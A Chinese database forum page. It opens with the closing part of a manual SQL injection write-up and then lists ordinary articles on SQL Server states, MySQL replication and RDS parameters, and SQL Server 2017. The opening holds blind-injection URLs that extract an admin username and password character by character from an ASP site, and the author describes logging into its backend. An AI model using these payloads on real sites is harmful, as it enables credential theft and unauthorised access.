冲锋的号角已经响起,胜利在望;可“行百里者,半于九十”,真正要花大半功夫的地方,也在这。 http://*/show_products.asp?id=22´%20and%20(Select%20count(*)%20From%20jstrd..[TblAdminUser]%20where%20%20left(jstrd..[TblAdminUser].username,0)=char(32)%20and%20len(jstrd..[TblAdminUser].username)>0%20and%20abs(ascii(substring(jstrd..[TblAdminUser].username,1,1)))=97)>0%20and%20´1´=´1&classid=1 可见username列中,第一个字符是a (ASCII编码为97),很快,就猜测到了是admin。 判断password列中,第一个字符应该在g之后,如下图示。 http://*/show_products.asp?id=22´ (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))>103)>0 and ´1´=´1&classid=1and 很快,就猜到了是j,呵呵,有点意思。如下图示。 http://*/show_products.asp?id=22´and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and ´1´=´1&classid=1 历经千辛万苦后,我终于找到了全部密码,竟然是********* 轻松找到后台,登陆,果然正确!如下图示。八、尾声 因为这份文档主要侧重数据库手工注入,所以注入成功获得网站控制权后的进一步渗透不作介绍。在这里,是我抛出一块破砖,引大伙收获更多的良玉。个人感觉,注入能成功,得益于以下三点: 1、Unicode编码和ASCII编码的应用; 2、系统会自动建立的系统表sysobjects的应用; 3、db_name最大长度128的应用,加上一些直觉判断。 整个过程,耗了近一个星期的业余时间,此时,又是一个深夜…… 夜色沉沉,睡意浓浓。原创作品,允许转载,转载请联系后台管理员
  • [技术干货] 跟我一起学 MS SQL Server (二) -- 了解数据库状态
    数据库状态数据库总是处于一个特定的状态中,例如,这些状态包括 ONLINE、OFFLINE 或 SUSPECT。若要确认数据库的当前状态,请选择 sys.databases 目录视图中的 state_desc 列或 DATABASEPROPERTYEX 函数中的 Status 属性。状态 定义ONLINE 可以对数据库进行访问。即使可能尚未完成恢复的撤消阶段,主文件组仍处于在线状态。OFFLINE 数据库无法使用。数据库由于显式的用户操作而处于离线状态,并保持离线状态直至执行了其他的用户操作。 例如,可能会让数据库离线以便将文件移至新的磁盘。然后,在完成移动操作后,使数据库恢复到在线状态。RESTORING 正在还原主文件组的一个或多个文件,或正在脱机还原一个或多个辅助文件。数据库不可用。RECOVERING 正在恢复数据库。恢复进程是一个暂时性状态,恢复成功后数据库将自动处于在线状态。如果恢复失败,数据库将处于可疑 状态。数据库不可用。RECOVERY PENDING SQL Server 在恢复过程中遇到了与资源相关的错误。数据库未损坏,但是可能缺少文件,或系统资源限制可能导致无法启 动数据库。数据库不可用。需要用户另外执行操作来解决问题,并让恢复进程完成。 SUSPECT 至少主文件组可疑或可能已损坏。在 SQL Server 启动过程中无法恢复数据库。数据库不可用。需要用户另外执行操作来 解决问题。EMERGENCY 用户更改了数据库,并将其状态设置为 EMERGENCY。数据库处于单用户模式,可以修复或还原。数据库标记为 READ_ONLY,禁用日志记录,并且仅限 sysadmin 固定服务器角色的成员访问。EMERGENCY 主要用于故障排除。例如, 可以将标记为“可疑”的数据库设置为 EMERGENCY 状态。这样可以允许系统管理员对数据库进行只读访问。只有 sysadmin 固定服务器角色的成员才可以将数据库设置为 EMERGENCY 状态。数据库文件状态在 SQL Server 中,数据库文件的状态独立于数据库的状态。文件始终处于一个特定状态,例如 ONLINE 或 OFFLINE。若要查看文件的当前状态,请使用 sys.master_files 或 sys.database_files 目录视图。如果数据库处于离线状态,则可以从 sys.master_files 目录视图中查看文件的状态。状态 定义ONLINE 文件可用于所有操作。如果数据库本身处于在线状态,则主文件组中的文件始终处于在线状态。如果主文件组中的文件 处于离线状态,则数据库将处于离线状态,并且辅助文件的状态未定义。 OFFLINE 文件不可访问,并且可能不显示在磁盘中。文件通过显式用户操作变为离线,并在执行其他用户操作之前保持离线状态。 注意 当文件已损坏时,该文件仅应设置为离线,但可以进行还原。设置为离线的文件只能通过从备份还原才能设置为在线。RESTORING 正在还原文件。文件处于还原状态(因为还原命令会影响整个文件,而不仅是页还原),并且在还原完成及文件恢复之前, 一直保持此状态。RECOVERY PENDING 文件恢复被推迟。由于在段落还原过程中未还原和恢复文件,因此文件将自动进入此状态。需要用户执行其他操作来解决 该错误,并允许完成恢复过程。SUSPECT 联机还原过程中,恢复文件失败。如果文件位于主文件组,则数据库还将标记为可疑。否则,仅文件处于可疑状态,而 数据库仍处于在线状态。在通过以下方法之一将文件变为可用之前,该文件将保持可疑状态: 1. 还原和恢复 2. 包含 REPAIR_ALLOW_DATA_LOSS 的 BCC CHECKDB DEFUNCT 当文件不处于在线状态时被删除。删除离线文件组后,文件组中的所有文件都将失效。
  • [技术干货] 影响mysql主从复制的几个重要参数
    1、lower_case_table_names控制数据库名和表名是否区分大小写,如果设置为0,是区分大小写的;设置为1,是不区分大小写的。Rds mysql主库和只读副本该参数需要一致,复制可能导致复制中断。该参数非动态参数,修改需要重启mysql进程。建议将该值设置为1。 2、sql_modeMysql对数据库操作的约束集合。主库和只读副本该参数值必须一致,否则会出现复制中断。例如:STRICT_TRANS_TABLES:在该模式下,如果一个值不能**到一个事务表中,则中断当前的操作,例如值超过字段长度、数据类型不一致等。如果没有设置该模式,上述场景就不会报错。我们建议您不要修改sql_mode参数的值。 3、relay_log_recoverSlave宕机重启后,对relay-log的处理方式。当slave宕机后,假如relay_log损坏,导致一部分中继日志没有处理,则自动放弃所有未执行的relay-log,并且重新从MASTER上索取日志,保证relay的完整性。默认情况下该功能是关闭的。建议在开启此功能。 4、relay_log_info_repository决定从库的重做信息以何种方式保存。FILE:relay-log.info,TABLE: mysql.slave_relay_log_info设置为file,sql线程先提交事务,再记录relay.info文件。假如在relay.info刷盘那一刻宕机,relay.info文件中没有记录,那么从库重启mysql进程后们就会执行两边同样的sql,导致同步复制报错。设置为table,sql线程执行完事务后,立即更新slave_relay_log_info表,如果在更新过程中宕机,则事务会回滚,slave_relay_log_info表并不会记录同步的点,下次重新同步时,从之前的pos点再次执行。我们建议你将该值设置为table.​ 5、binlog_formatMySQL记录binlog的内容格式。STATEMENT模式(SBR):Binlog记录的只是sql语句。ROW模式(RBR):Binlog记录完成的数据变更记录。MIXED模式(MBR):由mysql决定记录的格式,bug较多,常常造成主从数据不一致。https://dev.mysql.com/doc/refman/5.7/en/binary-log-mixed.html基于RBR的复制是最安全的复制,slave需要的行锁也更少。其他格式可能导致数据不一致。Mysql 5.7可以开启binlog_rows_query_log_events,让binlog记录events的同时,也记录原始SQL.。建议值ROW。 6、log_slave_updates对于MySQL5.6该参数不能设置为OFF,否则备机或只读副本将无法启动。
  • 我要提意见
    1、MySQL数据库实例5.6版本,调整参数组参数时,在新建参数组中,调整sql_mode参数后保存报参数错误,无法保存此参数,也无法设为空值。其它参数正常。2、购买MySQL数据库实例时,VPC子网中的DHCP功能必须打开才行,否则实例创建失败,不知道是什么原理。这里最好加个提示,之前不知道查了好久。
  • SQL Server 首次登陆 Linux 平台
    近日,微软 SQL Server 最近达成一个新的里程碑,最新版SQL Server 2017 除了支持 Windows 平台,将首次登陆 Linux 平台,并且还支持 Docker。此举让用户(特别是企业用户)有了更多选择。2016 年 6 月份,微软就提前预告 SQL Server 将支持 Linux 平台近年来, SQL Server 正在一直演化,除了想一改 DMS(数据库管理系统)的角色,还想介入到数据分析、机器学习和数据科学领域。2017 年 4 月份, SQL Server 发布了一个重要组件,支持在 SQL Server 中用 Python 运行机器学习负载。借助这个特性,数据科学家直接操作处理储存在 SQL Server 的数据,不用数据迁移了。机器学习/数据科学领域内的另一种编程语言 R,SQL Server 在去年就整合了。更多细节,见 SQL Server 官方:https://www.microsoft.com/en-us/sql-server/sql-server-2017参考:VentureBeta、SQL Server
  • Web安全开发之SQL注入分析
    由于论坛发帖不允许部分代码,因此帖子采用截图的方式,哎.虽然SQL注入猛如虎,但是各位小伙伴不要惊慌, 华为云WAF一键开启防护,多重编码还原和基于SQL语义分析的检测引擎能够更加精准识别SQL注入, 有效帮助小伙伴们拦截恶意攻击.华为云Web漏洞扫描安全服务支持SQL注入漏洞检测,帮助小伙伴更早发现网站安全隐患, 能够让用户更早采取防御或者修复措施,避免漏洞被利用造成的重大损失.参考[1] OWASP SQL注入防护手册(英文)
  • [技术干货] 快速了解 SQL Server 2017
    首先一张图带大家了解一下 SQL Server 的的市场地位这个是 SQL Server 2017 workshop 微软官方的演示图概括如下1. 基于 Gartner 魔力四象限图,行业地位稳居Top 3,在领导力方面超越 Oracle 现居第一2. 连续七年被美国国家标准与技术研究所 NIST 评为漏洞最少的数据库3. 业界领先的 OLTP, OLAP 性能表现,留下许多性能记录4. 商业数据库中提供最优秀性价比5. 集成机器内置学习服务 简而言之,要性能有性能,要性价比有性价比,要地位有地位,要安全又安全,就问你用不用。 言归正传,2017年10月2日,微软正式商用 SQL Server 2017 for Linux,算是一个里程碑意义的产品,微软终于甩掉了这么多年的 Windows 包袱,投入到了开源大家庭的怀抱。 那么什么是 SQL Server 2017 for Linux?带大家看一下下面的 SQL Server 架构图 简单来说,数据库引擎位于一个叫做 SQL PAL 的一个抽象层的上面,这个抽象层就是以前的 SQL OS 层,微软只是实现了 Linux Host 扩展这一部分,就实现了 SQL Server for Linux。再说通俗点,SQL Server for Linux 跟 SQL Server for Windows 是一套内核。所以期待 SQL Serverfor Linux 在性能上有所提升的同学们,你们可以散了。 那么SQL Server for Linux 有什么现实意义呢?1. 讨厌Windows 的同学可以有更多的选择了,目前支持 Redhat,SUSE,Ubuntu2. 可以部署Docker 了 下面是一个简单的基于容器的 CI/CD SQLServer 2017 给我们带来了什么新鲜的东西?1. 图数据库,带来了全新的语法支持图数据库可以将复杂的关系,简单化,降低开发难度,减少代码量,便于后期维护,但是!!!!在优化器端,这个图数据库本身没有做任何优化,引擎需要将新引入的语法转化为传统的语法然后再执行,所以就效率而言对于传统的语法格式,只慢不快。 2. 自适应查询统计情报不准确,往往会带来 SQL 语句性能的严重下降,而这种统计情报的不准确性,在有些场景是不可避免的。针对这类统计情报不准确导致的性能下降问题,微软引入了自适应查询功能。简单来说就是SQL 跑起来了发现被忽悠了,基于错误的统计情报导出的执行计划太不合理,跑死都跑不完,优化器一拍脑袋,换执行计划….这套方案让优化器可以在实际数据跟现存统计情报出现严重偏差的时候让 SQL 不至于出现严重性能下降。 3. 机器学习服务 这个一句话概括下来就是 SQL Server 原生支持 R 和 Python 语言,除此之外别无其他 4. 可恢复在线重建索引 简单来说,rebuildindex 语句可以做断点续传,在暂停状态下,SQL Server 会同时维护现有和新建的索引,当重新执行 rebuild index 语法的时候, SQL Server 会从上次暂停的位置继续执行,对于大型索引重建来说这个功能非常给力。但是,敲黑板!!!这个功能只支持rebuild 语法, 对于create 语法暂时不支持。另外,暂停状态下,如果对索引或者依存的表发行 DDL 语句,索引重建操作不可恢复。 以上:)
  • [技术干货] 一张图读懂 SQL Server 高可用解决方案之 AlwaysOn 故障转移群集实例
    首先明确几个概念WSFC 群集 (WSFC cluster)“Windows Server 故障转移群集”(WSFC) 群集是一组独立的服务器,它们共同协作以提高应用程序和服务的可用性。故障转移群集实例 (Failover cluster instance)一个 Windows 服务实例,用于管理 IP 地址资源、网络名称资源和运行一个或多个应用程序或服务所需的其他资源。 每个 FCI 上运行一个 SQL Server 实例。资源组 (Resource group)作为单个群集对象管理的群集资源集合。 通常,资源组包含运行特定应用程序或服务所需的所有群集资源。 故障转移和故障回复始终作用于资源组。在 FCI 中,一次只能有一个节点拥有 WSFC 资源组。好吧,那么什么是故障转移集群实例?话不多说,上图在一个 WSFC 集群内,2个或多个 FCI 实例共享一套存储。同一时间点只有一个 FCI 可以获得资源组,提供数据库服务。当一个 FCI 出现故障不可提供服务的时候,该资源组会转移到 WSFC 内的其他 FCI 节点,该节点的 SQL Server 实例启动,提供持续的服务。优点通过冗余提供实例级的保护在出现故障(硬件故障、操作系统故障、应用程序或服务故障)时自动进行故障转移支持多种存储解决方案,包括 WSFC 群集磁盘(iSCSI、光纤信道等)和服务器消息块 (SMB) 文件共享。使用多子网 FCI 或在可用性组中运行 FCI 托管数据库的灾难恢复解决方案。故障转移过程中无需重新配置应用程序和客户端用于实现自动故障转移的针对具体触发器事件的灵活的故障转移策略通过使用专用和持久的连接执行定期的详细运行状况检测,实现可靠的故障转移通过间接后台检查点在故障转移期间实现可配置性和可预测性故障转移期间限制对资源的使用缺点因为使用共享存储,如果存储级别发生故障,服务将会中断以上:)
  • [技术干货] 一张图读懂 SQL Server 高可用解决方案之 AlwaysOn 可用性组
    惯例,先熟悉几个术语可用性组一个容器,用于一组共同实现故障转移的数据库(“可用性数据库”)。可用性数据库属于可用性组的数据库。 对于每个可用性数据库,可用性组将保留一个读写副本(“主数据库”)和一个到八个只读副本(“辅助数据库”)。主数据库可用性数据库的读写副本。辅助数据库可用性数据库的只读副本。话不多说,什么是AlwaysOn可用性组。简单来说就是提供代替镜像的一种高可用性和灾难恢复的解决方案。相比较于 AlwaysOn 故障转移集群实例,可用性组内的各个数据库副本不共享存储,故障转移在各个数据库副本之间发生, 主数据库提供读写服务,辅助数据库提供只读服务,最多可以支持八个只读实例。支持异步提交模式(容灾方案)和同步提交模式(可用性方案)。
  • [技术干货] 微软2017技术大会参会总结:微软高能来袭
    大会网址:https://www.microsoft.com/china/techsummit/2017/whymsts.aspx[/backcolor]主会场介绍:一年过得真快,又到了每年一度的微软技术盛宴,如果说国内有2个大会对于我来说不容错过,第一个是华为的HC大会,第二个一定是它了。遥想2012年以前,微软的年度大会算得上是国内的顶级盛宴,其影响绝对是前三。最近几年虽然被国内的互联公司抢了风采,但随着微软云在世界上综合影响力的提升,我们越来越难以忽视微软正在通过Azure改变着云计算的生态模式(微软云2017年每季度净利润同比增长率平均在90%以上!)。华为HC大会是为了推广自己的RDS SQL SERVER产品;而微软是我的导师,此去是为了明确未来RDS SQL SERVER 技术的发展方向。根据我去年的报道和对微软云的评估,依然小看了这家传统巨头的潜力,在明确了主航道,确认了新方向之后,微软正在以势不可挡的姿态一年超越谷歌,两年看齐亚马逊的速度震惊业界(跟我司的口号真像!)。从整体思路来看微软很可能成为云计算界的IOS,而亚马逊则是Android(纯属个人意见)。言归正传,如果去年Azure是主场,则今年就是专场了,微软的传统产品如果不倚云而生则活不下去(Dynamic 365已经上线了)。但是有一个重大的转变正在发生!去年摩拜在主会场上去Bibi了15分钟,而今年只有2分30秒的简单介绍,并且,微软今年邀请站台的公司全是传统企业,其中包括我司!不搞小鲜肉了,这里面深层的微软中国Azure策略令人细思极恐,以微软深耕多年的尿性,怕是要狼来了。如果说2017年我们推广的最大阻塞是阿里,那明年可能就会加上微软了。时根据现场各合作商的推广介绍,可以明确的分为三类:1.基于微软产品的定制商,微软传统产品目前已经全部上云,所以这些定制服务和产品都具有强大的微软基因,算是铁粉;2.基于微软Azure的三方Saas服务开发商,这些公司基于微软云的平台,快速开发部署自己的应用,倚云而生但是可以跳槽,可以考虑华为云接入合作(后面我会将再会企业进行分类列出),但一般都是新兴公司体量较小,恐难入我司法眼;3.最后是给微软云做解决方案的供应商,这些公司主要给传统企业迁移上云做咨询,做方案,也接项目,有奶就是娘,而这些企业也是华为可以主要*** 团结并付诸发展的好下线,毕竟利益均分才是生态发展的好道路,可以重点考虑接洽。虽然云是主场,整个后面的分会场主题演讲都是基于云平台进行的开发,维护,行业解决方案,安全部署,成功案例,blah, blah, blah…但是,其中BI & AI可以看到是本次大会的主题重点,AI可以很好理解是风口;那BI这个老名词主要面对的就是我们广大的企业用户拉,可见微软和阿里今年都把目光瞄向了中国的传统企业,传统才是大肥肉啊,小鲜肉活不长滴。后续主要参会课题总结如下:SQL SERVER 2017 新特性,我的本职工作肯定要参与,新特性如下:1.支持图数据库,不过仅是逻辑层的关系创建,在查询上并不比传统关系查询性能高,是个鸡肋。2.索引重建支持断点续传了,恩越来越像迅雷了3.AI上面支持R & Python,恩这算是进步,不过目前没几个人玩的溜4.对Linux有更好的支撑,好吧他自己也说Linux版本不支持SSIS,SSRS,SSAS,还有很多服务不支持,仅有基本的SQL Engine准备好了,容器劝我们别上正式环境,我懂了5.不过总算还有一个亮点让我聊以*** ,SQL 2017查询优化引擎支持自适应AI分析功能,简单来说以前就3秒的查询语句,在你多次执行后可能变成2.9秒,2.8秒,神奇不!不过用久了不维护依然会变慢,AI&数据库引擎的集成的确是一个不错的发展方向,大家重点关照下。总结:2017没撒新玩意,目测是为了补上SQL2016在Linux上埋的坑,好吧我的小目标达成了,SQL 2017仍然只能在Windows上搭建,容器化目前技术尚不成熟。微软云容灾介绍:主要是拿传统容灾和云环境容灾优劣进行对比,并没有跟友商横向对比,好吧你当然赢了,但并没有什么鸟用,看来微软云的容灾上也没撒特点。给阿里云用户的一堂 Azure 课:听这个名字我以为微软有态度要表达,结果...只是呼吁大家别屌丝在一棵树上,用用微软云也挺好,我们的解决方案萌萌哒...你能有点狼性吗(#‵′)凸后面主要参加了一系列的AI相关课程:主要是讲微软给新创AI公司,提供平台,提供技术,提供代金卷,提供XXX,总之微软让大家人人都能AI,记得以前是人人都能大数据,再之前是人人都能BI,再之前是…总之这个套路真好用。最后我们看到AI与数据库引擎,可以碰撞出很多智慧的火花,前有AWS数据库场景适配性能提升服务;现有SQL SERVER AI智能查询优化;我们试想是不是可以通过深度建模训练,直接根据用户的数据库实例历史记录给出最佳参数模型呢?好吧去年微软是拼命自己的命;今年别人已经准备开始革我们的命了云计算正式进入下半场,从事务发展的辩证理论上来看,奇点正在靠近,请华为做好迎接前方高能的准备。
  • [技术干货] RDS MYSQL 参数优化实践
    很多时候,RDS用户经常会问如何调优RDS MySQL的参数,为了回答这个问题,写一篇来进行解释:[*]哪一些参数不能修改,那一些参数可以修改;[*]这些提供修改的参数是不是已经是最佳设置,如何才能利用好这些参数;哪些参数可以改细心的用户在购买RDS的时候都会看到,不同规格能够提供的最大连接数以及内存是不同的,所以这一些产品规格的限制参数:连接数、内存用户是不能够修改的,如果内存或者连接数出现了瓶颈:[*]内存瓶颈:实例会出现OOM,然后导致主备发生切换[*]连接数瓶颈:应用不能新建立连接到数据库则需要进行应用优化、慢SQL优化或者进行弹性升级实例规格来解决。还有一些涉及主备数据安全的参数比如gtid_mode、semi_sync等为了保证主备的数据安全,目前还暂不提供给用户进行修改。在参数组页面,详细标注了参数是否可以修改:除上述的这些参数外,绝大部分的参数都已经由DBA团队和源码团队优化过,用户不需要过多调整线上的参数就可以把数据库比较好的运行起来。但这些参数只是适合大多数的应用场景,个别特殊的场景还是需要个别对待,比如应用特点本身需要很大的一个锁超时时间,那么则需要调整innodb_lock_wait_timeout参数的大小以适应应用等等。如何调参数下面我将把控制台中能够修改的一些比较重要的参数给大家介绍一下,这些参数如果设置不当,则可能会出现性能问题或应用报错。back_log作用:MySQL每处理一个连接请求的时候都会对应的创建一个新线程与之对应,那么在主线程创建新线程期间,如果前端应用有大量的短连接请求到达数据库,MySQL 会限制此刻新的连接进入请求队列,由参数back_log控制,如果等待的连接数量超过back_log,则将不会接受新的连接请求,所以如果需要MySQL能够处理大量的短连接,需要提高此参数的大小。现象:如果参数过小可能会导致应用报错SQLSTATE[HY000] [2002] Connection timed out;建议:提高此参数值的大小,注意需要重启实例,RDS在起初初始化的值的默认值是50,现在初始化值已经调大了3000。innodb_autoinc_lock_mode作用:在MySQL5.1.22后,InnoDB为了解决自增主键锁表的问题,引入了参数innodb_autoinc_lock_mode,用于控制自增主键的锁机制,该参数可以设置的值为0/1/2,RDS 默认的参数值为1,表示InnoDB使用轻量级别的mutex锁来获取自增锁,替代最原始的表级锁,但是在load data(包括:INSERT … SELECT, REPLACE … SELECT)场景下会使用自增表锁,这样会则可能导致应用在并发导入数据出现死锁。现象:如果应用并发使用load data(包括:INSERT … SELECT, REPLACE … SELECT)导入数据的时候出现死锁:RECORD LOCKS space id xx page no xx n bits xx index PRIMARY of table xx.xx trx id xxx lock_mode X insert intention waiting. TABLE LOCK table xxx.xxx trx id xxxx lock mode AUTO-INC waiting;建议:建议将参数设置改为2,则表示所有情况**都使用轻量级别的mutex锁(只针对row模式),这样就可以避免auto_inc的死锁,同时在INSERT … SELECT 的场景下会提升很大的性能(注意该参数设置为2,binlog的格式需要设置为row)。query_cache_size作用:该参数用于控制MySQL query cache的内存大小;如果MySQL开启query cache,再执行每一个query的时候会先锁住query cache,然后判断是否存在query cache中,如果存在直接返回结果,如果不存在,则再进行引擎查询等操作;同时insert、update和delete这样的操作都会将query cahce失效掉,这种失效还包括结构或者索引的任何变化,cache失效的维护代价较高,会给MySQL带来较大的压力,所以当我们的数据库不是那么频繁的更新的时候,query cache是个好东西,但是如果反过来,写入非常频繁,并集中在某几张表上的时候,那么query cache lock的锁机制会造成很频繁的锁冲突,对于这一张表的写和读会互相等待query cache lock解锁,导致select的查询效率下降。现象:数据库中有大量的连接状态为checking query cache for query、Waiting for query cache lock、storing result in query cache;建议:RDS默认是关闭query cache功能的,如果您的实例打开了query cache,当出现上述情况后可以关闭query cache;当然有些情况也可以打开query cache,比如:巧用query cache解决数据库性能问题。net_write_timeout作用:等待将一个block发送给客户端的超时时间。现象:参数设置过小可能导致客户端报错the last packet successfully received from the server was milliseconds ago,the last packet sent successfully to the server was milliseconds ago。建议:该参数在RDS中默认设置为60S,一般在网络条件比较差的时,或者客户端处理每个block耗时比较长时,由于net_write_timeout设置过小导致的连接中断很容易发生,建议增加该参数的大小;tmp_table_size作用:该参数用于决定内部内存临时表的最大值,每个线程都要分配(实际起限制作用的是tmp_table_size和max_heap_table_size的最小值),如果内存临时表超出了限制,MySQL就会自动地把它转化为基于磁盘的MyISAM表,优化查询语句的时候,要避免使用临时表,如果实在避免不了的话,要保证这些临时表是存在内存中的。现象:如果复杂的SQL语句中包含了group by/distinct等不能通过索引进行优化而使用了临时表,则会导致SQL执行时间加长。建议:如果应用中有很多group by/distinct等语句,同时数据库有足够的内存,可以增大tmp_table_size(max_heap_table_size)的值,以此来提升查询性能。
  • [技术干货] 常见问题处理之ERROR 1227 数据导入报错
    使用mysqldump将本地数据导出,导入rds MySQL时。导入过程中可能会遇到以下错误:ERROR 1227 (42000) at line 18: Access denied; you need (at least one of) the SUPER privilege(s) for this operation[/backcolor]1.问题原因:MySQL导入用户的权限问题。处于安全考虑,rds MySQL的最高权限用户root是没有super权限的,当前自建用户也不能有super权限。但是用户执行导入的sql中,包含需要super权限的语句,所以会报错。如果源库开启了GTID特性,使用mysqldump 导出数据时,没有添加选项--set-gtid-purged=OFF,导出的sql中就有存在以下需要super权限执行的语句:SET @@SESSION.SQL_LOG_BIN= 0;[/backcolor]SET @@GLOBAL.GTID_PURGED=´18f9a804-343b-11e5-a21d-b083fed01601:1-2´;[/backcolor]2.解决办法办法1:导出语句中添加选项--set-gtid-purged=OFF重新导出,再导入即可。mysqldump -uroot -p -h192.168.0.50 -P8635 --databases test --set-gtid-purged=OFF --master-data=2--single-transaction --order-by-primary -r dump.sql[/backcolor]办法2:使用source方式导入,这种方式即使权限问题报错,剩余sql语句仍可继续执行,不影响最终数据。mysql>source /tmp/dump.sql[/backcolor]注意:sql文件的路径和权限
  • [技术干货] [最佳实践] SQL Server 2014 搭建 AlwaysOn 可用性组 (1) 准备阶段
    准备创建三台 Microsoft Windows Server 2012 SP1 虚拟机1台作为域名控制服务器2台作为 SQL Server 实例IP 规划节点1和节点2需要各安装两个网卡,一个提供数据库连接服务,一个提供内网通信。
总条数:357 到第
上滑加载中